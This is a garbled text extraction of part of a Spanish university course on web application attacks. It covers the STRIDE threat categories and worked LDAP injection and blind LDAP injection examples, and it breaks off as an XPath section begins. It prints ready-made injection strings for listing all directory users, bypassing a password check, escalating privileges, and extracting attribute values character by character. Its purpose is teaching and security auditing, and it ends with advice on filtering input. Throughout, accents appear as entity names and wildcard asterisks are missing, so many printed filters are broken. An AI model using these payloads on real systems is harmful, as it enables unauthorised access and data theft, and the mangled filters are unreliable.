Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 26: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

